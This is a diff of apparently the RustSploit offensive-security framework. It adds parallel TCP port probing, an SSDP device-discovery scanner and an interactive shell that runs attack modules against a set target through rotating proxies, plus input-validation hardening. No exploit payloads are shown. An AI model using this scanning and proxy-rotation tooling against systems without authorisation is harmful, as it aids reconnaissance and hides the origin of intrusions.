@@ -382,24 +432,40 @@ async fn icmp_probe(ip: &IpAddr, timeout: Duration) -> Result<Vec<String>> {
Ok(Vec::new())
}
}
Ok(Err(err)) => Err(err.into()),
Ok(Err(err)) => Err(anyhow!("Ping command failed: {}", err)),
Err(_) => Ok(Vec::new()),
}
}
async fn tcp_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result<Vec<String>> {
let mut successes = Vec::new();
// Probe ports in parallel for better performance
let mut tasks = Vec::new();
for port in ports {
let socket = SocketAddr::new(*ip, *port);
match tokio::time::timeout(timeout, TcpStream::connect(socket)).await {
Ok(Ok(stream)) => {
successes.push(format!("TCP/{}", port));
drop(stream);
let ip = *ip;
let port = *port;
let timeout = timeout;
tasks.push(tokio::spawn(async move {
let socket = SocketAddr::new(ip, port);
match tokio::time::timeout(timeout, TcpStream::connect(socket)).await {
Ok(Ok(_stream)) => {
// Connection successful - drop stream immediately
Some(format!("TCP/{}", port))
}
Ok(Err(_)) => None,
Err(_) => None,
}
Ok(Err(_)) => {}
Err(_) => {}
}));
}
let mut successes = Vec::new();
for task in tasks {
if let Ok(Some(label)) = task.await {
successes.push(label);
}
}
Ok(successes)
}
+264 -34
View File
@@ -1,48 +1,142 @@
use anyhow::{Result};
use anyhow::{Context, Result};
use colored::*;
use regex::Regex;
use std::collections::HashMap;
use std::io::Write;
use std::net::SocketAddr;
use tokio::net::UdpSocket;
use tokio::time::{timeout, Duration};
use tokio::time::{timeout as tokio_timeout, Duration};
/// SSDP Search Target types
#[derive(Clone, Debug)]
enum SearchTarget {
RootDevice,
All,
Custom(String),
}
impl SearchTarget {
fn st_header(&self) -> &str {
match self {
SearchTarget::RootDevice => "upnp:rootdevice",
SearchTarget::All => "ssdp:all",
SearchTarget::Custom(st) => st,
}
}
}
pub async fn run(target: &str) -> Result<()> {
let port = prompt_port().unwrap_or(1900);
let timeout_secs = prompt_timeout().unwrap_or(3);
let retries = prompt_retries().unwrap_or(1);
let verbose = prompt_verbose().unwrap_or(false);
let target = clean_ipv6_brackets(target);
// Validate target format
let _ = normalize_target(&target, port)
.with_context(|| format!("Failed to normalize target '{}'", target))?;
let addr = normalize_target(&target, port)?;
// Determine search targets
let search_targets = prompt_search_targets()?;
println!("[*] Sending SSDP M-SEARCH to {}...", addr);
println!("{}", format!("[*] Sending SSDP M-SEARCH to {}:{}...", target, port).bold());
let local_bind: SocketAddr = "0.0.0.0:0".parse()?;
let socket = UdpSocket::bind(local_bind).await?;
socket.connect(&addr).await?;
let mut found_any = false;
for (idx, st) in search_targets.iter().enumerate() {
if search_targets.len() > 1 {
println!(
"{}",
format!("[*] Trying ST: {} ({}/{})", st.st_header(), idx + 1, search_targets.len())
.cyan()
);
}
for attempt in 1..=retries {
if retries > 1 {
println!(" [*] Attempt {}/{}", attempt, retries);
}
match send_ssdp_request(&target, port, st, Duration::from_secs(timeout_secs), verbose).await {
Ok(Some(response)) => {
found_any = true;
parse_ssdp_response(&response, &target, port, st.st_header());
break; // Success, no need to retry
}
Ok(None) => {
if verbose {
println!(" {} No response received", "[-]".dimmed());
}
}
Err(e) => {
if verbose {
eprintln!(" {} Error: {}", "[!]".yellow(), e);
}
}
}
// Small delay between retries
if attempt < retries {
tokio::time::sleep(Duration::from_millis(500)).await;
}
}
}
if !found_any {
println!("{}", "[-] Target did not respond to any M-SEARCH requests".yellow());
}
Ok(())
}
async fn send_ssdp_request(
target: &str,
port: u16,
st: &SearchTarget,
timeout: Duration,
verbose: bool,
) -> Result<Option<String>> {
let local_bind: SocketAddr = "0.0.0.0:0".parse()
.context("Failed to parse local bind address")?;
let socket = UdpSocket::bind(local_bind).await
.context("Failed to bind UDP socket")?;
let remote_addr: SocketAddr = format!("{}:{}", target, port).parse()
.with_context(|| format!("Failed to parse remote address {}:{}", target, port))?;
socket.connect(&remote_addr).await
.with_context(|| format!("Failed to connect to {}:{}", target, port))?;
let request = format!(
"M-SEARCH * HTTP/1.1\r\n\
HOST: {}:{}\r\n\
MAN: \"ssdp:discover\"\r\n\
MX: 2\r\n\
ST: upnp:rootdevice\r\n\r\n",
target, port
MX: {}\r\n\
ST: {}\r\n\
USER-AGENT: RustSploit/1.0\r\n\r\n",
target,
port,
timeout.as_secs().max(1),
st.st_header()
);
socket.send(request.as_bytes()).await?;
let mut buf = vec![0u8; 2048];
match timeout(Duration::from_secs(3), socket.recv(&mut buf)).await {
Ok(Ok(size)) => {
let response = String::from_utf8_lossy(&buf[..size]);
parse_ssdp_response(&response, &target, port);
}
_ => {
println!("[-] Target did not respond to M-SEARCH request");
}
if verbose {
println!(" [*] Sending request:\n{}", request.dimmed());
}
Ok(())
socket.send(request.as_bytes()).await
.context("Failed to send SSDP request")?;
let mut buf = vec![0u8; 4096]; // Increased buffer size for larger responses
match tokio_timeout(timeout, socket.recv(&mut buf)).await {
Ok(Ok(size)) => {
let response = String::from_utf8_lossy(&buf[..size]).to_string();
Ok(Some(response))
}
Ok(Err(e)) => Err(anyhow::anyhow!("Failed to receive response: {}", e)),
Err(_) => Ok(None), // Timeout
}
}
/// Normalize the target: IPv6 -> [ipv6]:port, IPv4 stays as ipv4:port
@@ -72,7 +166,7 @@ fn prompt_port() -> Option<u16> {
print!("{}", "[*] Enter custom port (default 1900): ".cyan().bold());
std::io::stdout().flush().ok();
let mut input = String::new();
if let Ok(_) = std::io::stdin().read_line(&mut input) {
if std::io::stdin().read_line(&mut input).is_ok() {
let input = input.trim();
if input.is_empty() {
return None;
@@ -84,11 +178,119 @@ fn prompt_port() -> Option<u16> {
None
}
fn parse_ssdp_response(response: &str, target_ip: &str, port: u16) {
/// Ask user for timeout in seconds
fn prompt_timeout() -> Option<u64> {
print!("{}", "[*] Enter timeout in seconds (default 3): ".cyan().bold());
std::io::stdout().flush().ok();
let mut input = String::new();
if std::io::stdin().read_line(&mut input).is_ok() {
let input = input.trim();
if input.is_empty() {
return None;
}
if let Ok(t) = input.parse::<u64>() {
if t > 0 && t <= 60 {
return Some(t);
}
}
}
None
}
/// Ask user for number of retries
fn prompt_retries() -> Option<u32> {
print!("{}", "[*] Enter number of retries (default 1): ".cyan().bold());
std::io::stdout().flush().ok();
let mut input = String::new();
if std::io::stdin().read_line(&mut input).is_ok() {
let input = input.trim();
if input.is_empty() {
return None;
}
if let Ok(r) = input.parse::<u32>() {
if r > 0 && r <= 10 {
return Some(r);
}
}
}
None
}
/// Ask user for verbose mode
fn prompt_verbose() -> Option<bool> {
print!("{}", "[*] Verbose output? [y/N]: ".cyan().bold());
std::io::stdout().flush().ok();
let mut input = String::new();
if std::io::stdin().read_line(&mut input).is_ok() {
let input = input.trim().to_lowercase();
match input.as_str() {
"y" | "yes" => return Some(true),
"n" | "no" | "" => return Some(false),
_ => {}
}
}
None
}
/// Ask user for search targets
fn prompt_search_targets() -> Result<Vec<SearchTarget>> {
let mut targets = Vec::new();
println!("{}", "[*] Select SSDP Search Targets:".cyan().bold());
println!(" 1. upnp:rootdevice (default)");
println!(" 2. ssdp:all");
println!(" 3. Custom ST");
println!(" 4. All of the above");
print!("{}", "Enter choice [1-4, default 1]: ".cyan().bold());
std::io::stdout().flush().ok();
let mut input = String::new();
std::io::stdin().read_line(&mut input).ok();
match input.trim() {
"1" | "" => {
targets.push(SearchTarget::RootDevice);
}
"2" => {
targets.push(SearchTarget::All);
}
"3" => {
print!("{}", "Enter custom ST: ".cyan().bold());
std::io::stdout().flush().ok();
let mut st_input = String::new();
std::io::stdin().read_line(&mut st_input).ok();
let st = st_input.trim().to_string();
if !st.is_empty() {
targets.push(SearchTarget::Custom(st));
} else {
targets.push(SearchTarget::RootDevice);
}
}
"4" => {
targets.push(SearchTarget::RootDevice);
targets.push(SearchTarget::All);
}
_ => {
targets.push(SearchTarget::RootDevice);
}
}
if targets.is_empty() {
targets.push(SearchTarget::RootDevice);
}
Ok(targets)
}
fn parse_ssdp_response(response: &str, target_ip: &str, port: u16, st: &str) {
let regexps = vec![
("server", r"(?i)Server:\s*(.*?)\r\n"),
("location", r"(?i)Location:\s*(.*?)\r\n"),
("usn", r"(?i)USN:\s*(.*?)\r\n"),
("st", r"(?i)ST:\s*(.*?)\r\n"),
("nt", r"(?i)NT:\s*(.*?)\r\n"),
("cache-control", r"(?i)Cache-Control:\s*(.*?)\r\n"),
("ext", r"(?i)EXT:\s*(.*?)\r\n"),
];
let mut results: HashMap<&str, String> = HashMap::new();
@@ -96,19 +298,47 @@ fn parse_ssdp_response(response: &str, target_ip: &str, port: u16) {
for (key, pattern) in regexps {
if let Ok(re) = Regex::new(pattern) {
if let Some(caps) = re.captures(response) {
results.insert(key, caps.get(1).map(|m| m.as_str()).unwrap_or("").to_string());
let value = caps.get(1)
.map(|m| m.as_str().trim())
.unwrap_or("")
.to_string();
results.insert(key, value);
} else {
results.insert(key, String::from(""));
results.insert(key, String::new());
}
}
}
println!(
"[+] {}:{} | {} | {} | {}",
target_ip,
port,
results.get("server").unwrap_or(&"".to_string()),
results.get("location").unwrap_or(&"".to_string()),
results.get("usn").unwrap_or(&"".to_string())
);
// Check HTTP status
let status_line = response.lines().next().unwrap_or("");
let status_ok = status_line.contains("200") || status_line.contains("HTTP/1.1");
if status_ok {
println!(
"{}",
format!(
"[+] {}:{} | ST: {} | Server: {} | Location: {} | USN: {}",
target_ip,
port,
results.get("st").or(results.get("nt")).unwrap_or(&st.to_string()),
results.get("server").unwrap_or(&String::new()),
results.get("location").unwrap_or(&String::new()),
results.get("usn").unwrap_or(&String::new())
)
.green()
);
// Show additional headers if present
if let Some(cache) = results.get("cache-control") {
if !cache.is_empty() {
println!(" {} Cache-Control: {}", " |".dimmed(), cache.dimmed());
}
}
} else {
println!(
"{}",
format!("[!] {}:{} | Unexpected response: {}", target_ip, port, status_line)
.yellow()
);
}
}
+332 -179
View File
@@ -2,11 +2,16 @@ use crate::commands;
use crate::utils;
use anyhow::Result;
use colored::*;
use rand::prelude::*; // rand 0.9 prelude provides rng() and SliceRandom
use rand::prelude::*;
use std::env;
use std::io::{self, Write};
use std::collections::HashSet;
const MAX_INPUT_LENGTH: usize = 4096;
const MAX_PROXY_LIST_SIZE: usize = 10_000;
const MAX_TARGET_LENGTH: usize = 512;
const MAX_COMMAND_CHAIN_LENGTH: usize = 10;
/// Simple interactive shell context
struct ShellContext {
current_module: Option<String>,
@@ -32,192 +37,295 @@ pub async fn interactive_shell() -> Result<()> {
let mut ctx = ShellContext::new();
loop {
'main_loop: loop {
print!("{}", "rsf> ".cyan().bold());
io::stdout().flush()?;
let mut raw_input = String::new();
io::stdin().read_line(&mut raw_input)?;
if raw_input.len() > MAX_INPUT_LENGTH {
println!(
"{}",
format!(
"[!] Input length exceeds {} characters and was ignored.",
MAX_INPUT_LENGTH
)
.yellow()
);
continue;
}
let trimmed = raw_input.trim();
if trimmed.is_empty() {
continue;
}
match split_command(trimmed) {
Some((cmd, rest)) => {
let command_key = resolve_command(&cmd);
match command_key.as_str() {
"exit" => {
println!("Exiting...");
break;
}
"help" => render_help(),
"modules" => utils::list_all_modules(),
"find" => {
if rest.is_empty() {
println!("{}", "Usage: find <keyword>".yellow());
} else {
utils::find_modules(&rest);
// Support command chaining with & separator
let commands: Vec<&str> = trimmed
.split('&')
.map(|s| s.trim())
.filter(|s| !s.is_empty())
.take(MAX_COMMAND_CHAIN_LENGTH)
.collect();
if trimmed.split('&').count() > MAX_COMMAND_CHAIN_LENGTH {
println!(
"{}",
format!("[!] Command chain exceeds maximum length of {}. Truncating.", MAX_COMMAND_CHAIN_LENGTH)
.yellow()
);
}
for cmd_input in commands {
if cmd_input.is_empty() {
continue;
}
match split_command(cmd_input) {
Some((cmd, rest)) => {
let command_key = resolve_command(&cmd);
match command_key.as_str() {
"exit" => {
println!("Exiting...");
clear_proxy_env_vars();
break 'main_loop;
}
}
"proxy_load" => {
let file_path = if rest.is_empty() {
prompt_for_path("Path to proxy list file: ")?
} else {
rest.to_string()
};
match utils::load_proxies_from_file(&file_path) {
Ok(summary) => {
ctx.proxy_list = summary.proxies;
println!(
"Loaded {} proxies from '{}'.",
ctx.proxy_list.len(),
file_path
);
if !summary.skipped.is_empty() {
println!(
"{}",
format!(
"Skipped {} invalid entr{}:",
summary.skipped.len(),
if summary.skipped.len() == 1 { "y" } else { "ies" }
)
.yellow()
);
for failure in summary.skipped.iter().take(10) {
println!(
" [line {}] {} ({})",
failure.line_number,
failure.content,
failure.reason
);
}
if summary.skipped.len() > 10 {
println!(
" ... {} additional entr{} skipped.",
summary.skipped.len() - 10,
if summary.skipped.len() - 10 == 1 {
"y"
} else {
"ies"
}
);
}
}
if prompt_yes_no("Test connectivity of loaded proxies? (recommended)", true)? {
test_current_proxies(&mut ctx).await?;
}
}
Err(e) => {
println!("Failed to load proxies: {}", e);
"back" => {
ctx.current_module = None;
ctx.current_target = None;
println!("{}", "Cleared current module and target.".green());
}
"help" => render_help(),
"modules" => utils::list_all_modules(),
"find" => {
if rest.is_empty() {
println!("{}", "Usage: find <keyword>".yellow());
} else {
utils::find_modules(&rest);
}
}
}
"proxy_on" => {
ctx.proxy_enabled = true;
println!("Proxy usage enabled.");
}
"proxy_off" => {
ctx.proxy_enabled = false;
println!("Proxy usage disabled.");
clear_proxy_env_vars();
}
"proxy_test" => {
test_current_proxies(&mut ctx).await?;
}
"show_proxies" => {
if ctx.proxy_list.is_empty() {
println!("No proxies loaded. Use 'proxy_load <file>' to load them.");
} else {
println!("Loaded proxies ({}):", ctx.proxy_list.len());
for p in &ctx.proxy_list {
println!(" {}", p);
}
}
println!("Proxy is currently {}.", if ctx.proxy_enabled { "ON" } else { "OFF" });
}
"use" => {
if rest.is_empty() {
println!("{}", "Usage: use <module_path>".yellow());
} else if utils::module_exists(&rest) {
ctx.current_module = Some(rest.to_string());
println!("{}", format!("Module '{}' selected.", rest).green());
} else {
println!("{}", format!("Module '{}' not found.", rest).red());
}
}
"set" => {
let parts: Vec<&str> = rest.split_whitespace().collect();
if parts.len() >= 2 && parts[0] == "target" {
ctx.current_target = Some(parts[1].to_string());
println!("{}", format!("Target set to {}", parts[1]).green());
} else {
println!("{}", "Usage: set target <value>".yellow());
}
}
"run" => {
if let Some(ref module_path) = ctx.current_module {
if let Some(ref t) = ctx.current_target {
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
let mut tried_proxies = HashSet::new();
let mut success = false;
while tried_proxies.len() < ctx.proxy_list.len() {
let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
set_all_proxy_env(&chosen_proxy);
println!("[*] Using proxy: {}", chosen_proxy);
println!("Running module '{}' against target '{}'", module_path, t);
match commands::run_module(module_path, t).await {
Ok(_) => {
success = true;
break;
}
Err(e) => {
eprintln!("[!] Module failed with error: {:?}", e);
eprintln!(" Retrying with a new proxy...");
tried_proxies.insert(chosen_proxy);
}
}
}
if !success {
println!("[!] All proxies failed. Trying direct connection...");
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Final direct attempt also failed: {:?}", e);
}
}
} else if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
println!("[!] No proxies loaded, but proxy is ON. Doing direct attempt...");
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Module failed: {:?}", e);
}
} else {
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Module failed: {:?}", e);
"proxy_load" => {
let file_path = if rest.is_empty() {
match prompt_for_path("Path to proxy list file: ") {
Ok(path) => path,
Err(e) => {
println!("{}", format!("[!] Error reading input: {}", e).red());
continue;
}
}
} else {
println!("{}", "No target set. Use 'set target <value>' first.".yellow());
rest.to_string()
};
match utils::load_proxies_from_file(&file_path) {
Ok(summary) => {
let mut unique = HashSet::new();
let mut deduped = Vec::new();
for proxy in summary.proxies.iter() {
if unique.insert(proxy.clone()) {
deduped.push(proxy.clone());
}
}
if deduped.len() > MAX_PROXY_LIST_SIZE {
println!(
"{}",
format!(
"[!] Loaded proxy list exceeded {} entries. Truncating.",
MAX_PROXY_LIST_SIZE
)
.yellow()
);
deduped.truncate(MAX_PROXY_LIST_SIZE);
}
let removed = summary.proxies.len().saturating_sub(deduped.len());
if removed > 0 {
println!(
"{}",
format!(
"[*] Removed {} duplicate proxy entr{}.",
removed,
if removed == 1 { "y" } else { "ies" }
)
.dimmed()
);
}
ctx.proxy_list = deduped;
println!(
"Loaded {} proxies from '{}'.",
ctx.proxy_list.len(),
file_path
);
if !summary.skipped.is_empty() {
println!(
"{}",
format!(
"Skipped {} invalid entr{}:",
summary.skipped.len(),
if summary.skipped.len() == 1 { "y" } else { "ies" }
)
.yellow()
);
for failure in summary.skipped.iter().take(10) {
println!(
" [line {}] {} ({})",
failure.line_number,
failure.content,
failure.reason
);
}
if summary.skipped.len() > 10 {
println!(
" ... {} additional entr{} skipped.",
summary.skipped.len() - 10,
if summary.skipped.len() - 10 == 1 {
"y"
} else {
"ies"
}
);
}
}
match prompt_yes_no("Test connectivity of loaded proxies? (recommended)", true) {
Ok(true) => {
if let Err(e) = test_current_proxies(&mut ctx).await {
println!("{}", format!("[!] Proxy testing failed: {}", e).red());
}
}
Ok(false) => {}
Err(e) => {
println!("{}", format!("[!] Error reading input: {}", e).red());
}
}
}
Err(e) => {
println!("Failed to load proxies: {}", e);
}
}
} else {
println!("{}", "No module selected. Use 'use <module>' first.".yellow());
}
"proxy_on" => {
ctx.proxy_enabled = true;
println!("Proxy usage enabled.");
}
"proxy_off" => {
ctx.proxy_enabled = false;
println!("Proxy usage disabled.");
clear_proxy_env_vars();
}
"proxy_test" => {
if let Err(e) = test_current_proxies(&mut ctx).await {
println!("{}", format!("[!] Proxy testing failed: {}", e).red());
}
}
"show_proxies" => {
if ctx.proxy_list.is_empty() {
println!("No proxies loaded. Use 'proxy_load <file>' to load them.");
} else {
println!("Loaded proxies ({}):", ctx.proxy_list.len());
for p in &ctx.proxy_list {
println!(" {}", p);
}
}
println!("Proxy is currently {}.", if ctx.proxy_enabled { "ON" } else { "OFF" });
}
"use" => {
if rest.is_empty() {
println!("{}", "Usage: use <module_path>".yellow());
} else if let Some(safe_path) = sanitize_module_path(&rest) {
if utils::module_exists(&safe_path) {
ctx.current_module = Some(safe_path.clone());
println!("{}", format!("Module '{}' selected.", safe_path).green());
} else {
println!("{}", format!("Module '{}' not found.", rest).red());
}
} else {
println!(
"{}",
"Module path contains invalid characters or traversal attempts."
.red()
);
}
}
"set" => {
if let Some(raw_value) = rest.strip_prefix("target").map(|s| s.trim()) {
match sanitize_target(raw_value) {
Ok(valid_target) => {
ctx.current_target = Some(valid_target.clone());
println!("{}", format!("Target set to {}", valid_target).green());
}
Err(reason) => {
println!("{}", format!("[!] {}", reason).yellow());
}
}
} else {
println!("{}", "Usage: set target <value>".yellow());
}
}
"run" => {
if let Some(ref module_path) = ctx.current_module {
if let Some(ref t) = ctx.current_target {
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
let mut tried_proxies = HashSet::new();
let mut success = false;
while tried_proxies.len() < ctx.proxy_list.len() {
let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
set_all_proxy_env(&chosen_proxy);
println!("[*] Using proxy: {}", chosen_proxy);
println!("Running module '{}' against target '{}'", module_path, t);
match commands::run_module(module_path, t).await {
Ok(_) => {
success = true;
break;
}
Err(e) => {
eprintln!("[!] Module failed with error: {:?}", e);
eprintln!(" Retrying with a new proxy...");
tried_proxies.insert(chosen_proxy);
}
}
}
if !success {
println!("[!] All proxies failed. Trying direct connection...");
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Final direct attempt also failed: {:?}", e);
}
}
} else if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
println!("[!] No proxies loaded, but proxy is ON. Doing direct attempt...");
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Module failed: {:?}", e);
}
} else {
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Module failed: {:?}", e);
}
}
} else {
println!("{}", "No target set. Use 'set target <value>' first.".yellow());
}
} else {
println!("{}", "No module selected. Use 'use <module>' first.".yellow());
}
}
_ => {
println!("{}", format!("Unknown command: '{}'. Type 'help' or '?' for usage.", cmd_input).red());
}
}
_ => {
println!("{}", format!("Unknown command: '{}'. Type 'help' or '?' for usage.", trimmed).red());
}
}
}
None => {
println!("{}", format!("Unknown command: '{}'. Type 'help' or '?' for usage.", trimmed).red());
None => {
println!("{}", format!("Unknown command: '{}'. Type 'help' or '?' for usage.", cmd_input).red());
}
}
}
}
@@ -229,14 +337,17 @@ pub async fn interactive_shell() -> Result<()> {
fn pick_random_untried_proxy(proxy_list: &[String], tried_proxies: &HashSet<String>) -> String {
let mut rng = rand::rng();
let choices: Vec<&String> = proxy_list
.iter()
.filter(|p| !tried_proxies.contains(*p))
.collect();
.iter()
.filter(|p| !tried_proxies.contains(*p))
.collect();
if let Some(choice) = choices.choose(&mut rng) {
choice.to_string()
(*choice).clone()
} else {
proxy_list.choose(&mut rng).unwrap().to_string()
// Fallback if all have been tried
proxy_list.choose(&mut rng)
.map(|s| s.clone())
.unwrap_or_else(|| proxy_list[0].clone())
}
}
@@ -272,19 +383,60 @@ fn resolve_command(cmd: &str) -> String {
"use" | "u" => "use",
"set" | "target" => "set",
"run" | "go" | "exec" => "run",
"back" | "b" | "clear" | "reset" => "back",
"exit" | "quit" | "q" => "exit",
other => other,
}
.to_string()
}
fn sanitize_module_path(input: &str) -> Option<String> {
let trimmed = input.trim();
if trimmed.is_empty() {
return None;
}
if trimmed.contains("..") || trimmed.contains('\\') {
return None;
}
let valid = trimmed.chars().all(|c| {
matches!(
c,
'a'..='z'
| 'A'..='Z'
| '0'..='9'
| '/'
| '_'
| '-'
)
});
if valid {
Some(trimmed.to_string())
} else {
None
}
}
fn sanitize_target(input: &str) -> std::result::Result<String, &'static str> {
let trimmed = input.trim();
if trimmed.is_empty() {
return Err("Target cannot be empty.");
}
if trimmed.len() > MAX_TARGET_LENGTH {
return Err("Target value is too long.");
}
if trimmed.chars().any(|c| c.is_control()) {
return Err("Target cannot contain control characters.");
}
Ok(trimmed.to_string())
}
fn render_help() {
println!();
println!("{}", "RustSploit Command Palette".bold().underline());
println!(
"{}",
"Shortcuts are case-insensitive. Example: `f1 ssh` searches for SSH modules."
.dimmed()
.dimmed()
);
println!();
@@ -295,6 +447,7 @@ fn render_help() {
("use", "use <path> | u <path>", "Select a module to run"),
("set target", "set target <value>", "Set current target host/IP"),
("run", "run | go", "Execute selected module (with proxy rotation)"),
("back", "back | b | clear | reset", "Clear current module and target"),
("proxy_load", "proxy_load [file] | pl", "Load proxy list from file"),
("proxy_on", "proxy_on | pon", "Enable proxy usage"),
("proxy_off", "proxy_off | poff", "Disable proxy usage"),
@@ -312,7 +465,7 @@ fn render_help() {
println!(
"{}",
"Need more context? Try `modules`, then `use category/module_name`, and finally `run`."
.dimmed()
.dimmed()
);
println!();
}
@@ -330,10 +483,10 @@ async fn test_current_proxies(ctx: &mut ShellContext) -> Result<()> {
println!(
"[*] Testing {} proxy entr{} (timeout: {}s, concurrency: {})",
total,
if total == 1 { "y" } else { "ies" },
timeout_secs,
max_parallel
total,
if total == 1 { "y" } else { "ies" },
timeout_secs,
max_parallel
);
let summary = utils::test_proxies(&ctx.proxy_list, &test_url, timeout_secs, max_parallel).await;
@@ -426,8 +579,8 @@ fn prompt_u64(message: &str, default: u64) -> io::Result<u64> {
return Ok(default);
}
match trimmed.parse::<u64>() {
Ok(value) => return Ok(value),
Err(_) => println!("Invalid number. Please enter a positive integer."),
Ok(value) if value > 0 => return Ok(value),
_ => println!("Invalid number. Please enter a positive integer."),
}
}
}
+393 -65
View File
@@ -11,52 +11,173 @@ use futures::stream::{FuturesUnordered, StreamExt};
use reqwest;
use tokio::sync::Semaphore;
use url::Url;
use regex::Regex;
/// Maximum folder depth to traverse
const MAX_DEPTH: usize = 6;
/// Take “1.2.3.4”, “::1”, “[::1]:8080” or “hostname” and
/// always return a valid “host:port” or “[ipv6]:port” string.
/// Maximum length for target strings to prevent DoS
const MAX_TARGET_LENGTH: usize = 2048;
/// Maximum length for module paths
const MAX_MODULE_PATH_LENGTH: usize = 512;
/// Maximum file size to read (10MB) - prevents reading huge files
const MAX_FILE_SIZE: u64 = 10 * 1024 * 1024;
/// Maximum number of proxies to process
const MAX_PROXIES: usize = 100000;
/// Maximum parallel proxy tests
const MAX_PARALLEL_PROXIES: usize = 1000;
/// Maximum timeout for proxy tests (5 minutes)
const MAX_PROXY_TIMEOUT_SECS: u64 = 300;
/// Take "1.2.3.4", "::1", "[::1]:8080" or "hostname" and
/// always return a valid "host:port" or "[ipv6]:port" string.
///
/// # Security
/// - Validates input length to prevent DoS
/// - Sanitizes input to prevent injection
/// - Validates hostname format
pub fn normalize_target(raw: &str) -> Result<String> {
if raw.contains("]:") || raw.starts_with('[') {
// Already normalized, like [::1]:8080 or [2001:db8::1]
return Ok(raw.to_string());
// Input validation
let trimmed = raw.trim();
// Check length to prevent DoS
if trimmed.is_empty() {
return Err(anyhow!("Target cannot be empty"));
}
if trimmed.len() > MAX_TARGET_LENGTH {
return Err(anyhow!(
"Target too long (max {} characters, got {})",
MAX_TARGET_LENGTH,
trimmed.len()
));
}
// Basic sanitization - remove control characters and excessive whitespace
let sanitized: String = trimmed
.chars()
.filter(|c| !c.is_control() || *c == ' ' || *c == '\t')
.collect::<String>()
.split_whitespace()
.collect::<Vec<_>>()
.join(" ");
if sanitized.is_empty() {
return Err(anyhow!("Target contains only invalid characters"));
}
// Check for path traversal attempts
if sanitized.contains("..") || sanitized.contains("//") {
return Err(anyhow!("Invalid target format: contains path traversal characters"));
}
// Handle already normalized formats
if sanitized.contains("]:") || sanitized.starts_with('[') {
// Validate the format
if sanitized.starts_with('[') && !sanitized.contains(']') {
return Err(anyhow!("Invalid IPv6 format: missing closing bracket"));
}
// Basic validation - check it's not just brackets
let inner = sanitized.trim_matches(|c| c == '[' || c == ']');
if inner.is_empty() {
return Err(anyhow!("Invalid target: empty address"));
}
return Ok(sanitized.to_string());
}
// Looks like an unwrapped IPv6 address if it has multiple colons
let is_ipv6 = raw.matches(':').count() >= 2;
// Detect IPv6 addresses (multiple colons, no dots)
let colon_count = sanitized.matches(':').count();
let has_dots = sanitized.contains('.');
// IPv6 detection: multiple colons and no dots (or dots only in port)
let is_ipv6 = colon_count >= 2 && !has_dots;
// Additional IPv6 validation
if is_ipv6 {
Ok(format!("[{}]", raw))
// Check for valid IPv6 characters
let ipv6_re = Regex::new(r"^[0-9a-fA-F:]+$").unwrap();
let addr_part = sanitized.split(':').next().unwrap_or("");
if !ipv6_re.is_match(addr_part) && !addr_part.is_empty() {
return Err(anyhow!("Invalid IPv6 address format: '{}'", sanitized));
}
Ok(format!("[{}]", sanitized))
} else {
Ok(raw.to_string())
// Validate hostname/IPv4 format
// Basic validation: no spaces, reasonable characters
if sanitized.contains(' ') {
return Err(anyhow!("Invalid target format: contains spaces"));
}
// Check for valid hostname/IPv4 characters
let host_re = Regex::new(r"^[a-zA-Z0-9.\-_:]+$").unwrap();
if !host_re.is_match(&sanitized) {
return Err(anyhow!("Invalid target format: contains invalid characters"));
}
Ok(sanitized.to_string())
}
}
/// Recursively list .rs files up to a certain depth (unchanged)
/// Recursively list .rs files up to a certain depth with security checks
fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
let mut modules = Vec::new();
if depth > MAX_DEPTH || !dir.exists() {
// Depth limit to prevent infinite recursion
if depth > MAX_DEPTH {
return modules;
}
// Validate directory exists and is readable
if !dir.exists() {
return modules;
}
// Prevent path traversal - ensure we're within src/modules
let modules_base = Path::new("src/modules");
if !dir.starts_with(modules_base) && depth > 0 {
// Only allow traversal within src/modules
return modules;
}
if let Ok(entries) = fs::read_dir(dir) {
for entry in entries.flatten() {
let path = entry.path();
// Read directory with error handling
let entries = match fs::read_dir(dir) {
Ok(entries) => entries,
Err(_) => return modules, // Silently skip unreadable directories
};
if path.is_dir() {
modules.extend(collect_module_paths(&path, depth + 1));
} else if let Some(file_name) = path.file_name().and_then(|s| s.to_str()) {
if file_name.ends_with(".rs") && file_name != "mod.rs" {
let relative_path = path
.strip_prefix("src/modules")
.unwrap_or(&path)
.with_extension("")
.to_string_lossy()
.replace('\\', "/"); // For Windows
modules.push(relative_path);
for entry in entries.flatten() {
let path = entry.path();
// Check for symlinks that might cause issues
if path.is_symlink() {
continue; // Skip symlinks for security
}
if path.is_dir() {
// Recursively collect from subdirectories
modules.extend(collect_module_paths(&path, depth + 1));
} else if let Some(file_name) = path.file_name().and_then(|s| s.to_str()) {
// Only process .rs files, skip mod.rs
if file_name.ends_with(".rs") && file_name != "mod.rs" {
// Validate path length
let relative_path = match path.strip_prefix("src/modules") {
Ok(rel) => rel,
Err(_) => &path, // Fallback to full path if strip fails
};
let path_str = relative_path
.with_extension("")
.to_string_lossy()
.replace('\\', "/"); // Windows path normalization
// Validate path length
if path_str.len() <= MAX_MODULE_PATH_LENGTH {
modules.push(path_str);
}
}
}
@@ -65,13 +186,27 @@ fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
modules
}
/// Dynamically checks if a module path exists at any depth (unchanged)
/// Dynamically checks if a module path exists at any depth with validation
pub fn module_exists(module_path: &str) -> bool {
// Input validation
if module_path.is_empty() {
return false;
}
if module_path.len() > MAX_MODULE_PATH_LENGTH {
return false;
}
// Check for path traversal attempts
if module_path.contains("..") || module_path.contains("//") {
return false;
}
let modules = collect_module_paths(Path::new("src/modules"), 0);
modules.iter().any(|m| m == module_path)
}
/// Lists all available modules recursively under src/modules/ (unchanged)
